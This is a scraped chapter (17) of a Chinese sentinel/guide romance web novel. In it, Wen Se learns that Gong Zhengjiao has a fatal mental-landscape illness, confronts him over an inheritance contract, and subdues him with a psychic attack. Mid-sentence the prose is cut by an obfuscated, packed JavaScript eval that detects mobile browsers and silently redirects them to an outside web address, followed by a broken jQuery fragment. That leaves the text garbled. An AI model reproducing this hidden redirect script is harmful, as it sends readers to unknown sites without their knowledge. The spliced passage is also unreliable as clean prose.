默认冷灰
24号文字
方正启体

17. 第 17 章

作者:戮诗本书字数:K更新时间:
    沉默片刻,闻璱才问:“是什么病?”


    弓铮皎没答,他就又问了一遍:“什么病?叫什么名字?”


    “……精神图景荒芜症。”弓铮皎说,“我的精神图景开始无缘由地荒芜,这是萎缩的前兆,但是……”


    “荒芜?”闻璱打断了他,“所以你图景核心的那把锁,就是因为这个病?”


    谁知弓铮皎也愣了:“锁?什么锁?你看到我的精神图景里有一把锁?”


    闻璱点头。


    于是,收获了弓铮皎彻底瞪大眼睛,直起身子,不可置信道:“你是说,你能看到我的精神图景?”


    “什么意思?”闻璱皱眉,“就算是盲人向导,进入精神图景,也不会什么都‘看’不到。”


    因为那属于一种精神层面的交流,并不是具象化的现实。


    “你看到了什么?除了一把锁,还有什么?”弓铮皎追问。


    这副迫切而又求知的模样,让闻璱生出一种莫名其妙的熟悉和感同身受——他突然有一种很不好的猜测。


    闻璱思索片刻,按照记忆里的一切尽可能描述出那个庄园的景象。


    弓铮皎静静听着,眼中震惊愈发浓郁,一直到闻璱话声停了,他仍然怔怔地看着闻璱。


    好半天,他才终于说出一句:“原来现在是这样……连我自己,都很久没见过了。”


    闻璱心道:果然。


    精神图景和精神体相关的疾病,对特种人来说,确实是最糟糕的绝症。


    像弓铮皎这种精神图景逐渐荒芜、萎缩,自己却无法访问的情况,如果放任下去,确实会发展向神游,也就是脑死亡。


    他内心堪称风起云涌,面上却不动声色,似乎只是好奇地问:“你自己无法进入自己的精神图景?但是阿咬看起来似乎没有什么问题,我还是第一次听说,会有这种情况。”


    弓铮皎毫无所觉,答道:“是,阿咬很正常,我进不去,当然也不知道阿咬是怎么进去的。而且我是第一例,所以也没有任何可以参考的案例。”


    “从什么时候开始的?”闻璱又问,“你卸任首席,解散小队,不再接取公会任务,也是这个原因?”


    弓铮皎点了点头:“彻底看不到是从三年前开始,但是究竟是什么时候发病,我也不知道。”


    闻璱明白他的意思。


    因为信息量过大、精神状态不佳时,精神图景也会以相对抽象的方式展现。


    就像刚才,闻璱也是在安抚他之后,才看到了庄园真容。


    而弓铮皎许多年来不接受向导安抚,大概率精神图景常年抽象,连他自己也无法判断,究竟是从什么时候开始,第一次出现无法具象化感知精神图景的症状。


    不过,闻璱则更关注另一件事。


    三年,也就是说,比闻璱彻底发病还要更早。


    他沉吟片刻,缓缓说:“可是我刚刚看到了你的精神图景,也成功安抚了你,也就是说,你有救了。”


    就像弓铮皎的精神力,似乎也是闻璱拟态孤独症的治疗方法一样。


    弓铮皎却自嘲地摇了摇头:“太迟了。”


    “你知道神游症,对吗?”他缓缓说,“陷入神游状态的哨兵,精神体会被困在图景中,伴随着精神图景的萎缩,整个人也进入脑死亡的状态,这是一个不可逆的过程。”


    他看着闻璱:“你看到的那把锁,应该是已经萎缩的部分,也就是说,最多半年,我必死无疑。”


    闻璱握了握拳,按捺住想脱口而出的一声:不可能。


    这三个字与其说是为了弓铮皎,不如说是为了闻璱自己。


    目前特种人的医学理论是基于普通人的情况而建,与精神力、精神图景和精神体相关的特殊领域,也大多以结合派为研究样本。


    因为融合派实在是太少了,在很多人眼里,这甚至是一条只存在于设想中的道路。


    以至于很少有人知道,精神体和精神图景只是两种不同的表现形式,追根溯源,两者完全可以互相转化。


    这是融合派才能摸索出的特殊感受,结合派更习惯让精神体作为独立单位活动,当然对此无所感知。


    闻璱明白,且试图证明这一点。


    不幸的是,在深耕理论,成为特种人学术大牛之前,闻璱先患上了拟态孤独症,探索也自此停滞。


    直到此时此刻,听到弓铮皎说自己的病症:精神图景莫名消失,精神体却安然无虞。


    这些症状和闻璱如此相似,又在体现形式上恰好相反。


    闻璱的第一反应就是——他们的疾病或许同源,甚至根本就是同一种疾病在不同个体的表征差异。


    而弓铮皎还说什么来着?


    必死无疑。


    如果以希冕创辉财力和技术,都无法在这个病症上做出突破,闻璱一直以来花进去的钱、费尽心思的配合研究,又是为了什么?


    弓铮皎彻底发病,只比他早一年而已。


    也就是说,如果闻璱所料不差,他自己也只不过能比弓铮皎多一年可活了。


    闻璱绝对无法接受。


    “去医院。”闻璱突然轻轻敲了一下弓铮皎的额头。


    衣柜的门都没了,正好方便他伸手就拿出两件外套。他站起身,不管不顾地抽了一件扔给弓铮皎,自己也麻利地套上,口中又吩咐了一遍:“我不信,现在去医院复查。”


    “……”弓铮皎动也没动,“我不想去。”


    闻璱已经套上鞋,在给自己系鞋带了,只回答了一句简单的:“不能讳疾忌医。”


    他这边风风火火地拿出终端,提前开始搜索离宿舍最近的、有特种人科室的医院,和有希冕创辉入股的医院。


    那边弓铮皎却还是坐在地上,连个姿势也没换。


    直到闻璱都握上了门把手,回头一看,弓铮皎还在原地,耷拉着一双毛茸茸的兽耳,顿时忍不住又催了一声:“快点。把你耳朵收了。”


    他急得只顾得上提醒弓铮皎脱离融合态,甚至忘了洁癖,忘了两个人身上又是灰又是血,这幅摸样半夜出门,如果遇到普通人,说不定会报警然后上社会新闻。


    弓铮皎缓缓起身,却还是没有披上外套,只是重复了一遍:“我不去。”


    他终于第一次在完全清醒、理智的情况下,如此坦诚地提出自己的要求。


    “我检查过很多次了,我的病情,我比你清楚。”弓铮皎面无表情地说,“你实在没必要这样。”


    闻璱这才放下终端,视线落在弓铮皎身上。


    他猜想,或许是自己过于急切的态度对一个“绝症病人”来说,显得有些不尊重了,让弓铮皎有种被“看猴戏”的不适感。


    于是,他放软了语气:“去医院做个检查吧,好不好?你的病情这么特殊,刚才我给你做了安抚,说不定有转机呢?”


    这态度着实罕见。


    闻璱又补充了一句:“弓铮皎,我不希望你死。”


    这倒是真心实意,因为无冤无仇,也因为闻璱自己不想死。


    可这话落进弓铮皎心里,便脱缰野马般地,冲向岔路的另一条。


    弓铮皎静静地看着他,道:“可我希望。”


    他话锋一转,突然说:“其实你没必要听他的。”


    他?谁?


    闻璱一头雾水。


    弓铮皎默不作声,从角落里精准地抽出一沓白色封皮的纸。


    是张律师给闻璱的那份合同。


    闻璱转过身来。


    他心想,弓铮皎还是知道了。


    是什么时候?闻璱便想起,刚把弓铮皎带回宿舍时,自己忙着洗脸,把弓铮皎和合同大喇喇地一起丢在外面过。


    “你翻我东西?”闻璱先发制人。


    “我不做那种事。”弓铮皎定定地看着他,一字一顿道,“是我听到了。”


    听到——就只能是弓铮皎还在小黑屋里的时候。


    那时,闻璱和张律师戴着收音口罩站在屋外,而弓铮皎被关在隔音设施拉满的屋里。


    没有人认为弓铮皎那时会是清醒的,也没有人认为,他能听到。


    所以,也没有人注意降低音量。


    闻璱这时候才明白,弓铮皎变相地承认了自己刚才的指控:他说弓铮皎是故意“失控”,被关进小黑屋的。


    不仅进去是故意的,而且在被关入小黑屋的短短两个小时之后……甚至是全程,弓铮皎可能都保持意识清醒。


    在一片黑暗中,他大概把听力调动到最大限度,才能隔着一道门,将闻璱和张律师的所有对话听在耳中?


    可闻璱忍不住又想,原来他在小黑屋里,清醒了那么久。


    ……怪不得从小黑屋出来时,弓铮皎整个人都痴呆了。


    撇开那一缕多余的心绪,闻璱觉得看来自己还是低估了S级哨兵,甚至是整个白塔对特种人等级的划分规则,都可能低估了弓铮皎。


    他把终端放在一旁,双臂环胸靠在被弓铮皎抠得惨不忍睹的墙上,语气有些不冷不热:“所以你认为,我已经开始履行合同义务了?”


    这蠢钝又高傲的脑回路,和张律师倒真是如出一辙。


    “难道不是吗?”弓铮皎反问。


    顿了顿,弓铮皎又道:“我根本不需要建立什么家庭,合同里写着能给你的,全都是我的私产,你如果想要,可以直接跟我说。”


    “跟你说,你就给我?”


    “跟我说,我就给你,全部,无偿赠予,写成白纸黑字。”


    “我说了,我只剩下最多半年可活。”弓铮皎的声音古井无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418166|168897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    波,“我没有差这三瓜两子的亲人朋友,也不打算神游之后当个活死人,我会在遗嘱上把你写成唯一遗产继承人,由律师公证死后执行。”


    他抿了抿嘴,撇开眼神,低声道:“其实一开始,我就打算把这些都无偿赠予你,是你那时不要,非说什么……交个朋友。”


    他没说的心里话是:那时不要,现在为什么又要了呢?


    既然说了交个朋友,就是交个朋友。


    格外亲近的朋友就好。


    哪怕是出于怜悯,哪怕……哪怕有利益的考量。


    即便这段半真半假的感情裹上财色交易的外壳,弓铮皎也希望,是自己用钱买来了快乐。


    ……而不是成为他人获得另外一半遗产的道具。


    “咯吱”、“咯吱”,是有人踩过废墟,一步一步,走到了弓铮皎面前的声音。


    弓铮皎没有抬头,于是,就再一次被闻璱钳着下巴,拧起了脸。


    闻璱似乎还是面无表情,只不过隐隐约约地,弓铮皎似乎从他的眉梢眼角捕捉到一丝冷意。


    紧接着,闻璱的手指就毫不客气地撬开他嘴唇,拇指抵在一侧的虎牙上,食指则按住弓铮皎的舌根,把微型酸弹的金属链绷紧。


    顿时,弓铮皎的气息一窒,瞳孔骤缩,变成了细细的一长条。


    手指的搅弄导致舌尖尚未彻底愈合的伤口再次破裂,鲜血再次涌出,闻璱却微微抬起他下巴,叫血混着唾液一并淌进弓铮皎喉咙。


    与此同时,他释放了弓铮皎的五感,并把嗅觉格外放大。


    “弓铮皎,我发现了,你不是什么傲娇、别扭,”闻璱淡淡道,“你只是一个欠家教的幼稚鬼——我说过了,看着我!”


    话音落下同时,精神力倏然爆发,强行与弓铮皎浅度共鸣,然后,在弓铮皎的脑袋里放了一个烟花。


    这是共鸣炸弹,高等级攻击型向导最具有杀伤力的攻击方式。


    弓铮皎曾经遭遇过许多次,但对他来说,都只是洒洒水,挠挠痒。


    被突破精神防线,这还是第一次。


    他也是第一次知道,原来被共鸣炸弹炸这一下,比电击环二级惩戒还可怕,甚至他隐隐觉得,这比嘴里那颗微型酸弹的震慑力还强。


    共鸣炸弹不仅抑制住了弓铮皎的反抗,轻度拟态融合的兽耳也立刻消散,连弓铮皎的理智都彻底溃堤。


    在精神力爆炸的余波里,弓铮皎的意识就像被放在锅里翻炒一样,几乎又进入了类似下午的低能模式。他脑袋里几乎只剩下最后一个念头:怪不得闻璱这么胆大、猖狂……


    这一发共鸣炸弹下来,弓铮皎自认,就算今天站在这里的自己是全盛时期,也多扛不了几秒。


    拟态融合的毛发褪去,兽耳缩了回去,弓铮皎晕晕乎乎地咳了一声——被自己的血水呛得。


    闻璱又低声在他耳边重复了一遍:“看着我。”


    他脑袋里只剩下这声“看着我”不断回响,于是转动眼珠,缓慢而又懵懂地找到了那双粉色的眼眸。


    那双粉色眼眸的主人问:“你到底在想什么?”


    “我想……我想……”


    铁锈味里,突然卷进来一丝凉得晕人的清甜感。


    弓铮皎呜咽一声,下意识地用舌尖追逐那一丝甜。


    他才终于发现,是他的虎牙刺破了闻璱指尖,舌尖舔舐着那里溢出的血珠。


    他们的血就这样在舌尖交融,被他吞入腹中——还有其中浓郁千百倍的向导素。


    蓝紫色的眼中立刻泛上水花,瞳孔放大,变得可怜而又朦胧。


    “我想……我想活下去。”


    “我怕死,怕痛,我不想就这样死掉……”


    “我想要你,有你的向导素就不痛了,我才能睡着……我已经两年没有睡过好觉了……”


    闻璱垂眸看着他:“只要我的吗?不要别人的?”


    “只要你的……只有你的才有用……”


    “为什么?”


    听到这个问题,一粒泪终于溢出蓝紫色的湖泊。


    “SS44520T……两年之前,三月十二号……”他报出一串数字和日期。


    闻璱微微一怔。


    就听他断断续续、语无伦次地说:“你救了我,我只想要你……只喜欢你。”


    话音落下,闻璱释放了精神力禁锢,缓缓松开了手。


    而弓铮皎犹在迷蒙之中,下意识地追寻着舌尖那丝能够镇痛的清甜,扑到了闻璱身上。


    他抱住闻璱,金色的脑袋蹭来蹭去,鼻尖贴在闻璱颈侧轻嗅,似乎是隔着皮肉嗅到了动脉里流淌着血的味道。


    然后,在猛然张口的瞬间,被闻璱塞进去了另一颗刚才剥好的荔枝。


    “原来是你。”闻璱的声音低不可闻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)